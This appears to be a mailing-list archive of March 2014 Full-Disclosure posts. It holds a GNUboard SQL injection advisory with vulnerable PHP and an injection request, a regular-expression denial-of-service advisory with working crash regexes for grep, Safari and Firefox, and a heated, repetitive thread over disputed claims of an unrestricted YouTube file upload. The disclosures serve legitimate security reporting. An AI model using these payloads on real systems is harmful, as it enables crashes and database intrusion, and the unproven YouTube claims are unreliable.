date:20140314

On Thu, Mar 13, 2014 at 10:30 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 We confirm this to be a valid vulnerability for the following reasons.

 The access control subsystem is defeated, resulting to arbitrary write
 access of any file of choice.

 1. You Tube defines which file types are permitted to be uploaded.


And...?



 2. Exploitation is achieved by circumvention of web-based security
 controls (namely http forms, which is a weak security measure). However,
 exploitation of the issue results to unrestricted file uploads (any file of
 choice ). Remote code execution may be possible either through social
 engineering , or by stochastically rewriting an existing file-structure in
 the CDN.


So in ohter words, you haven't proven it. The upload in itself is not a
vulnerability (and if you understood that it is, please read again that
OWASP document).



 3. This directly impacts the integrity of the service since modification
 of information occurs by circumvention. Renaming the uploaded files can be
 achieved through YouTube's inherent video manager.


How does it impact the integrity? Again, unexpected functionality does not
necessarily equal exploitation.



 4. Denial of Service  attacks are feasible since we bypass all security
 restrictions. This directly impacts the availability of the service.


Not proven either. At this point I feel you're just making stuff up. All
you did was upload stuff you can't download afterwards.



 5. Malware propagation is possible, if the planted code get's executed
 through social engineering or by re-writing a valid file system structure.



Again, you need to be able to download the stuff you uploaded, and have it
executed directly. Otherwise you could do the same thing more efficiently
with Google Drive.



 6) All uploaded files can be downloaded through Google Take Out, if past
 the Content ID filtering algorithm (through file header obfuscation and
 encryption).


You need to explain how that is an attack vector.




 Best Regards,
 Nicholas Lemonias
 Advanced Information Security Corp.






 ___
 Full-Disclosure - We believe in it.
 Charter: http://lists.grok.org.uk/full-disclosure-charter.html
 Hosted and sponsored by Secunia - http://secunia.com/




-- 
“There's a reason we separate military and the police: one fights the enemy
of the state, the other serves and protects the people. When the military
becomes both, then the enemies of the state tend to become the people.”
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] [CVE-2014-2339] GNUboard SQL Injection Vulnerability

2014-03-14 Thread claepo.wang

==Advisory: GNUboard SQL Injection Vulnerability
Author: claepo.w...@dbappsecurity.com.cn
Affected Version: GNUboard5(the latest version)
Vendor URL: http://sir.co.kr/
Vendor Status: Unfixed(I know little about Korean，so i do not know how to describe this vul to the vendor.)==
Vulnerability Description
==

Recently, I found several vulnerabilities in the famous Korean forum program - the GNUboard.Vulnerable file: /bbs/ajax.autosave.php?php
include_once('./_common.php’);//global ‘filter' on $_GET,$_POST,$_COOKIE,$_REQUEST

if (!$is_member) die('0’);//member login

$uid = trim($_REQUEST['uid']); //current user id
$subject = trim(stripslashes($_REQUEST['subject']));  //stripslashes ignores the global filter causes a SQL Inj.
$content = trim(stripslashes($_REQUEST['content']));  //same above

if ($subject  $content) {
$sql = " select count(*) as cnt from {$g5['autosave_table']} where mb_id = '{$member['mb_id']}' and as_subject = '$subject' and as_content = '$content' ";
$row = sql_fetch($sql); //the bad str($subject|$content) insert into sql queryif (!$row['cnt']) {
$sql = " insert into {$g5['autosave_table']} set mb_id = '{$member['mb_id']}', as_uid = '{$uid}', as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' on duplicate key update as_subject = '$subject', as_content = '$content', as_datetime = '".G5_TIME_YMDHIS."' ";
$result = sql_query($sql, false);  // database select

echo autosave_count($member['mb_id']);
}
}
?

==
POC  EXP
==
1. Login as a member2. GEThttp://target/bbs/ajax.autosave.php?content=1subject=1[inj_exp] 	{exp can be found on my server: http://pandas.pw/gnuboard.exp}3. Page returns 1062 : Duplicate entry ~admin~*FF6F916236F4FFEE8FADD21EC20216C5C3A04E50~1' for key 'group_key’ .Done!  Thx a lot!___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] MacOSX Safari Firefox Kaspersky RegExp Remote/Local Denial of Service

2014-03-14 Thread [CXSEC]

MacOSX Safari Firefox Kaspersky RegExp Remote/Local Denial of Service
http://cxsecurity.com/


 0. Where is the problem? 
Some time ago I have reported vulnerabilities in regcomp() in BSD
implementation (CVE-2011-3336) and GNU libc implementation (CVE-2010-4051
CVE-2010-4052).
Now is the time for MacOSX and other software and It seems that the problem
is still in their implementations.


--- MacOSX 10.9.2 libc PoC ---
0:kozak6 cx$ ls |grep -E
'((.*)(((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+))'
grep(715,0x7fff746ed310) malloc: *** mach_vm_map(size=18446744071973109760)
failed (error code=3)
*** error: can't allocate region
*** set a breakpoint in malloc_error_break to debug
grep: out of memory
--- MacOSX 10.9.2 libc PoC ---


Recursion in Apple regcomp/libc() can lead to consumption, exhaustion, etc.
(CWE-399)
The same problem occurs in javascript regexp implementation on Safari and
Firefox.
In Kaspersky 14.0.0.4651(e) CPU Exhaustion has been observed.


Verified;
- Safari 7.0.2 (9537.74.9)
  MacOSX 10.9.2 Memory exhaustion (unpatched  CVE-2011-3336)
  Phone 4S, iOS 7.0.6 Crash

- Firefox 27.0.1
  Windows: Crash
  http://cert.cx/regexp-smaczki/regcomp2.png
  http://cert.cx/regexp-smaczki/visual4.png
  http://cert.cx/regexp-smaczki/visual3.png

  MacOSX: Memory exhaustion

- Kaspersky 14.0.0.4651(e)
  CPU Exhaustion and can't restart kaspersky again
  http://cert.cx/regexp-smaczki/kaspersky.jpg


We don't know full list of affected vendors. Anyway javascript PoC
avaliable here

http://cert.cx/regexp-smaczki/regex.html

--- JavaScript PoC ---
HTML
HEAD
TITLEFirefox 27.0.1 and Safari 7.0.2 (9537.74.9)/TITLE
/HEAD
BODY BGCOLOR=#FF
SCRIPT type=text/javascript
var patt1=new
RegExp(((.*)(((.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}(.*){10}.*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+).*)+)));
document.write(patt1.exec(peace));
/SCRIPT
/BODY
/HTML
--- JavaScript PoC ---


On Safari and Firefox under MacOSX this script will consume excessive
memory. Windows version has allocated 3,8GB and crash



int readChecked(unsigned negativePositionOffest)
{
if (pos  negativePositionOffest)
CRASH();
unsigned p = pos - negativePositionOffest;
ASSERT(p  length);
return input[p];
}



Firefox don't support 64 bits version for windows and only 4gb can be
allocated to cause CRASH().

The most interesting is CPU Exhaustion observed in avp.exe process. Many
requests to website where RegEx()/javascript code is located cause
exhaustion of one cpu core. Closing and restarting Kaspersky is impossible.

The situation with regexp security is not declared. Many vendors think that
regcomp() should be secure by default but are also others opinions

https://bugzilla.redhat.com/show_bug.cgi?id=645859
---
Red Hat does not consider crash of client application, using regcomp()
or regexec() routines on untrusted input without preliminary checking
the input for the sanity, to be a security issue (the described deficiency
implies and is a known limitation of the glibc regular expression engine
implementation). The expressions can be modified to avoid quantification
nesting, or program modified to limit size of input passed to regular
expression engine. We do not currently plan to fix these flaws. If more
information becomes available at a future date, we may revisit these issues.
---

and try compare with ZABIX statement

https://support.zabbix.com/browse/ZBX-4625

---
It shouldn't be fixed in Zabbix. That's something to be addressed by glibc
maintainers.
---

In January 2014 Juniper has officially patched CVE-2010-4051 and
CVE-2010-4052 in own products.

http://kb.juniper.net/InfoCenter/index?page=contentid=JSA10612.

MacOSX libc in 10.9.2 is still vulnerable for CVE-2011-3336.

0:log cx$ ls |grep -E '(.?).*){1,100}){1,100}){1,100}){1,100}'

It shows how many varieties of regular expression we have and how hard it
is to keep a single standard.


--- 1. Credit ---
Maksymilian Arciemowicz
http://cxsecurity.com/


--- 2. References ---

Re: [Full-disclosure] Google vulnerabilities with PoC

2014-03-14 Thread Julius Kivimäki

Look, you keep calling it a vulnerability with 0 evidence that it's even
exploitable. Until you can prove otherwise this is like speculating the
potential security repercussions of uploading files to EC2 (Which would
probably have potential to be much more severe than what you're discussing
here since javascript uploaded to ec2 could actually get executed by
someones browser)

You keep throwing around keywords like OWASP, OSI, security best
practices as if they actually make a difference here. Truth is there's no
reason to believe that what you have discovered here is exploitable. This
mostly seems like a desperate attempt of getting money off of google and
your name in some publication shitty enough to not do any fact checking
(eg. softpedia) .


2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com:

 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know until
 you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.


 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Thu, Mar 13, 2014 at 7:47 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Julius Kivimäki julius.kivim...@gmail.com


 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know until
 you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.



 On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 I don't see what OSI model has to do with anything here. Why is arbitrary
 file upload to youtube CDN any worse than to google drive CDN? And how will
 your self-executing encrypted virus like Cryptolocker end up getting
 executed anyways? And cryptolocker was definitely not self-executing, but
 spread via email attachments (excluding the boring USB spread
 functionality).

 What you have here is not a vulnerability, just give up. And stop trying
 to get journalists like Eduard Kovacs to spread your BS.

 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained some international recognition. It is a benchmark for many
 vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow
 uploads of certain file types for security reasons, and let's assume at the
 application layer. If we manage to get past the security controls, that
 means  we can write unrestrictedly any type of file to the remote network.
 That also means that we get past their firewall, since the communication is
 through HTTP (port 80). CDN nodes are deployed to multiple colocation
 (thousands of nodes and thousands of servers across the world). The files
 (let's say a self-executing encrypted virus like Cryptolocker? ) are cached
 deeply in the network across thousands of servers.


 On Thu, Mar 13, 2014 at 5:07 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained some international recognition. It is a benchmark for many
 vendors. I suggest you to read on OSI/7-Layer Model. A website may disallow
 uploads of certain file types for security reasons, and let's assume at the
 application layer. If we manage to get past the security controls, that
 means  we can write unrestrictedly any type of file to the remote network.
 That also means that we get past their firewall, since the communication is
 through HTTP (port 80). CDN nodes are deployed to multiple colocation
 (thousands of nodes and thousands of servers across the world). The files
 are cached deep in the network structures to thousands of

Re: [Full-disclosure] Google vulnerabilities with PoC

We confirm this to be a valid vulnerability for the following reasons.

The access control subsystem is defeated, resulting to arbitrary write
access of any file of choice.

1. You Tube defines which file types are permitted to be uploaded.

2. Exploitation is achieved by circumvention of web-based security controls
(namely http forms, which is a weak security measure). However,
exploitation of the issue results to unrestricted file uploads (any file of
choice ). Remote code execution may be possible either through social
engineering , or by stochastically rewriting an existing file-structure in
the CDN.

3. This directly impacts the integrity of the service since modification of
information occurs by circumvention. Renaming the uploaded files can be
achieved through YouTube's inherent video manager.

4. Denial of Service  attacks are feasible since we bypass all security
restrictions. This directly impacts the availability of the service.

5. Malware propagation is possible, if the planted code get's executed
through social engineering or by re-writing a valid file system structure.


6) All uploaded files can be downloaded through Google Take Out, if past
the Content ID filtering algorithm (through file header obfuscation and
encryption).


It is pertinent to note that all publications are made to help mature the
practise and we application security.

Best Regards,
Nicholas Lemonias
Advanced Information Security Corp.

EOF


On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki julius.kivim...@gmail.com
 wrote:

 Look, you keep calling it a vulnerability with 0 evidence that it's even
 exploitable. Until you can prove otherwise this is like speculating the
 potential security repercussions of uploading files to EC2 (Which would
 probably have potential to be much more severe than what you're discussing
 here since javascript uploaded to ec2 could actually get executed by
 someones browser)

 You keep throwing around keywords like OWASP, OSI, security best
 practices as if they actually make a difference here. Truth is there's no
 reason to believe that what you have discovered here is exploitable. This
 mostly seems like a desperate attempt of getting money off of google and
 your name in some publication shitty enough to not do any fact checking
 (eg. softpedia) .


 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.


 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Thu, Mar 13, 2014 at 7:47 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Julius Kivimäki julius.kivim...@gmail.com


 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.



 On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 I don't see what OSI model has to do with anything here. Why is
 arbitrary file upload to youtube CDN any worse than to google drive CDN?
 And how will your self-executing encrypted virus like Cryptolocker
 end up getting executed anyways? And cryptolocker was definitely not
 self-executing, but spread via email attachments (excluding the boring
 USB spread functionality).

 What you have here is not a vulnerability, just give up. And stop trying
 to get journalists like Eduard Kovacs to spread your BS.

 2014-03-13 19:10 GMT+02:00 Nicholas Lemonias. 
 lem.niko...@googlemail.com:

 Hello Julius,

 I appreciate your interest to learn more. OWASP is quite credible, and
 has gained

Re: [Full-disclosure] Google vulnerabilities with PoC

Here's my evidence.

Live Proof Of Concept
==
http://upload.youtube.com/?authuser=0upload_id=AEnB2UqVZlaog3GremriQEGDoUK3cdGGPu9MVIfyObgYajjo6i1--uQicn6jhbwsdNrqSF4ApbUbhCcwzdwe4xf_XTbL_t5-aworigin=CiNodHRwOi8vd3d3LnlvdXR1YmUuY29tL3VwbG9hZC9ydXBpbxINdmlkZW8tdXBsb2Fkcw

The above proof of concept demonstrates :

1. We have bypassed the security controls in Youtube and uploaded an
unexpected file type.
2. The file is persistent and has not been deleted by YouTube.
3. It can be queried for information since it is assigned a unique
upload_id.
4. It's successfully uploaded to youtube.com As you can see it give out
the total bytes written to the remote network.
5. content_type:text/x-sh}] --- The file is a shell
script script named 'file'
6. It can be enumerated by a non-authenticated user, remotely.

On Fri, Mar 14, 2014 at 2:40 AM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:

Are you a Google employee...I wonder?

There is nothing else to be said regarding this. Our research for remote
code execution continues and will let you and Google know once that is
confirmed; through the coordinated security program.

And please OWASP, is recognised worldwide.

Best Regards,
Nicholas Lemonias

On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki
julius.kivim...@gmail.com wrote:

Look, you keep calling it a vulnerability with 0 evidence that it's
even exploitable. Until you can prove otherwise this is like speculating
the potential security repercussions of uploading files to EC2 (Which would
probably have potential to be much more severe than what you're discussing
here since javascript uploaded to ec2 could actually get executed by
someones browser)

You keep throwing around keywords like OWASP, OSI, security best
practices as if they actually make a difference here. Truth is there's no
reason to believe that what you have discovered here is exploitable. This
mostly seems like a desperate attempt of getting money off of google and
your name in some publication shitty enough to not do any fact checking
(eg. softpedia) .

2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
:

Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
you may, or may not be qualified to question amazes. But everyone's opinion
is of course respected.

I normally don't provide security lessons via e-mail and
full-disclosure, however you seem not to understand the security report
fully and some core principles. If you can't see what information security
best practises, the OSI/network model and self-automata propagation has
anything to do with arbitrary write permissions to a remote network
leveraging from the application layer, then me and you have nothing to talk
about.

As for the exploitability of this vulnerability, you will never know
until you try. And we have tried it , and seem to know better.

I suggest you read the report again.

Thank you.

-- Forwarded message --
From: Nicholas Lemonias. lem.niko...@googlemail.com
Date: Thu, Mar 13, 2014 at 7:47 PM
Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
To: Julius Kivimäki julius.kivim...@gmail.com

Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
you may, or may not be qualified to question amazes. But everyone's opinion
is of course respected.

As for the exploitability of this vulnerability, you will never know
until you try. And we have tried it , and seem to know better.

I suggest you read the report again.

Thank you.

On Thu, Mar 13, 2014 at 7:02 PM, Julius Kivimäki
julius.kivim...@gmail.com wrote:

I don't see what OSI model has

Re: [Full-disclosure] Google vulnerabilities with PoC

Zakewski,

Thank you for your e-mail. I welcome all opinions, that are backed up by
evidences.

I am not just a security researcher, I am also an academic in the field and
lecturer.

However, from an academic perspective, when it comes to certain
security designs the mere existence of unvalidated requests is symptomatic
of deeper code problems. Thus, in academia such definitions are vague,
unless they are either backed-up by original, incisive research, or by
existing subject matter literature which is widely accepted.

In terms of what constitutes a security vulnerability, it is a weakness in
a product or service that may allow an attacker to compromise the (C-I-A)
Confidentiality, Integrity and Availability of that same service, and I bet
you 've heard this many times before. Adequate security requirements entail
properties of 1) confidentiality, 2) integrity, 3) availability
 but also 4) authorization , 5) non-repudiation and 6) authentication.

Integrity: Integrity refers to the trustworthiness of a resource. An
attacker exploits a weakness in a service to modify it silently and without
authorization means is compromising the integrity of that service.

 Example: A weakness that allows an administrator to change the permission
sets on a file , that is not a security vulnerability because an
administrator already has this capability. However if a weakness allowed an
unprivileged user to do the same thing (say to write arbitrary files to a
remote service), that would constitute to a security vulnerability.

Availability*:* Availability refers to the ability to access a resource. An
attacker that exploits a weakness in a service, denying appropriate user
access to it, is thus compromising the availability of that particular
service. In our case a Denial of Service is feasible, because the uploaded
files are persistent and can  lead to resource exhaustion.

Example: A weakness that enables an attacker  to cause a server to fail
would constitute a vulnerability, since the attacker denies resources
pertinent to that service. Resource exhaustion is possible.

Confidentiality: Confidentiality refers to the disclosure of information,
to unauthorised parties. However this is by no means the only property
required for security. In this case just because we haven't accessed some
files, that does not mean that the service is secure.

Authorization: Refers to the process of determining which 'principals' have
access and to which 'objects'. Access control is a type of authorization,
hence its name. In case of the API upload functionality, a script is loaded
and somewhere a write() function is called. The access control was weak
since it was web-based. We could arbitrary write() any file of choice to
the system as a result, something that only an administrator with full
permission sets should be able to do.

admin.youtube.com is the admin login.


On Fri, Mar 14, 2014 at 4:19 AM, Michal Zalewski lcam...@coredump.cxwrote:

 Nicholas,

 I remember my early years in the infosec community - and sadly, so do
 some of the more seasoned readers of this list :-) Back then, I
 thought that the only thing that mattered is the ability to find bugs.
 But after some 18 years in the industry, I now know that there's an
 even more important and elusive skill.

 That skill boils down to having a robust mental model of what
 constitutes a security flaw - and being able to explain your thinking
 to others in a precise and internally consistent manner that convinces
 others to act. We need this because the security of a system can't be
 usefully described using abstract terms: even the academic definitions
 ultimately boil down to saying the system is secure if it doesn't do
 the things we *really* don't want it to do.

 In this spirit, the term vulnerability is generally reserved for
 behaviors that meet all of the following criteria:

 1) The behavior must have negative consequences for at least one of
 the legitimate stakeholders (users, service owners, etc),

 2) The consequences must be widely seen as unexpected and unacceptable,

 3) There must be a realistic chance of such a negative outcome,

 4) The behavior must introduce substantial new risks that go beyond
 the previously accepted trade-offs.

 If we don't have that, we usually don't have a case, no matter how
 clever the bug is.

 Cheers (and happy hunting!),
 /mz

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

Hi Jerome,

Thank you for agreeing on access control, and separation of duties.

However successful exploitation permits arbitrary write() of any file of
choice.

I could release an exploit code in C Sharp or Python that permits multiple
file uploads of any file/types, if the Google security team feels that this
would be necessary. This is unpaid work, so we are not so keen on that job.



On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and unacceptable,
 
  3) There must be a realistic chance of such a negative outcome,
 
  4) The behavior must introduce substantial new risks that go beyond
  the previously accepted trade-offs.
 
  If we don't have that, we usually don't have a case, no matter how
  clever the bug is.
 
  Cheers (and happy hunting!),
  /mz
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

Thanks Michal,

We are just trying to improve Google's security and contribute to the
research community after all. If you are still on EFNet give me a shout
some time.

 We have done so and consulted to hundreds of clients including Microsoft,
Nokia, Adobe and some of the world's biggest corporations. We are also
strict supporters of the ACM code of conduct.

Regards,
Nicholas Lemonias.
AISec


On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any file of
 choice.

 I could release an exploit code in C Sharp or Python that permits multiple
 file uploads of any file/types, if the Google security team feels that this
 would be necessary. This is unpaid work, so we are not so keen on that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias athiasjer...@gmail.comwrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book), security
 controls like white listing (or at least black listing. see also
 ESAPI) should be 1) part of the [1]security requirements of a proper
 SDLC (Build security in) as per Defense-in-Depth security principles
 and 2) used and implemented correctly.
 NB: A simple Threat Model (i.e. list of CAPEC) would be a solid
 support to your report
 This would help to evaluate/measure the risk (e.g. CVSS).
 Helping the decision/actions around this risk

 PS: interestingly, in this case, I'm not sure that the Separation of
 Duties security principle was applied correctly by Google in term of
 Risk Acceptance (which could be another Finding)

 So in few words, be careful with the terminology. (don't always say
 vulnerability like the media say hacker, see RFC1392) Use a CWE ID
 (e.g. CWE-434, CWE-183, CWE-184 vs. CWE-616)

 My 2 bitcents
 Sorry if it is not edible :)
 Happy Hacking!

 /JA
 https://github.com/athiasjerome/XORCISM

 2014-03-14 7:19 GMT+03:00 Michal Zalewski lcam...@coredump.cx:
  Nicholas,
 
  I remember my early years in the infosec community - and sadly, so do
  some of the more seasoned readers of this list :-) Back then, I
  thought that the only thing that mattered is the ability to find bugs.
  But after some 18 years in the industry, I now know that there's an
  even more important and elusive skill.
 
  That skill boils down to having a robust mental model of what
  constitutes a security flaw - and being able to explain your thinking
  to others in a precise and internally consistent manner that convinces
  others to act. We need this because the security of a system can't be
  usefully described using abstract terms: even the academic definitions
  ultimately boil down to saying the system is secure if it doesn't do
  the things we *really* don't want it to do.
 
  In this spirit, the term vulnerability is generally reserved for
  behaviors that meet all of the following criteria:
 
  1) The behavior must have negative consequences for at least one of
  the legitimate stakeholders (users, service owners, etc),
 
  2) The consequences must be widely seen as unexpected and unacceptable,
 
  3) There must be a realistic chance of such a negative outcome,
 
  4) The behavior must introduce substantial new risks that go beyond
  the previously accepted trade-offs.
 
  If we don't have that, we usually don't have a case, no matter how
  clever the bug is.
 
  Cheers (and happy hunting!),
  /mz
 
  ___
  Full-Disclosure - We believe in it.
  Charter: http://lists.grok.org.uk/full-disclosure-charter.html
  Hosted and sponsored by Secunia - http://secunia.com/



___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Google vulnerabilities with PoC

Are you a Google employee...I wonder?

There is nothing else to be said regarding this. Our research for remote
code execution continues and will let you and Google  know once that is
confirmed; through the coordinated security program.

And please OWASP, is recognised worldwide.


Best Regards,
Nicholas Lemonias


On Thu, Mar 13, 2014 at 11:06 PM, Julius Kivimäki julius.kivim...@gmail.com
 wrote:

 Look, you keep calling it a vulnerability with 0 evidence that it's even
 exploitable. Until you can prove otherwise this is like speculating the
 potential security repercussions of uploading files to EC2 (Which would
 probably have potential to be much more severe than what you're discussing
 here since javascript uploaded to ec2 could actually get executed by
 someones browser)

 You keep throwing around keywords like OWASP, OSI, security best
 practices as if they actually make a difference here. Truth is there's no
 reason to believe that what you have discovered here is exploitable. This
 mostly seems like a desperate attempt of getting money off of google and
 your name in some publication shitty enough to not do any fact checking
 (eg. softpedia) .


 2014-03-13 21:48 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 Julius Kivimaki, your disbelief in OWASP, CEH, Journalists and anything
 you may, or may not be qualified to question amazes. But everyone's opinion
 is of course respected.

 I normally don't provide security lessons via e-mail and full-disclosure,
 however you seem not to understand the security report fully and some core
 principles. If you can't see what information security best practises, the
 OSI/network model and self-automata propagation has anything to do with
 arbitrary write permissions to a remote network leveraging from the
 application layer, then me and you have nothing to talk about.

 As for the exploitability of this vulnerability, you will never know
 until you try. And we have tried it , and seem to know better.

 I suggest you read the report again.

 Thank you.


 -- Forwarded message --
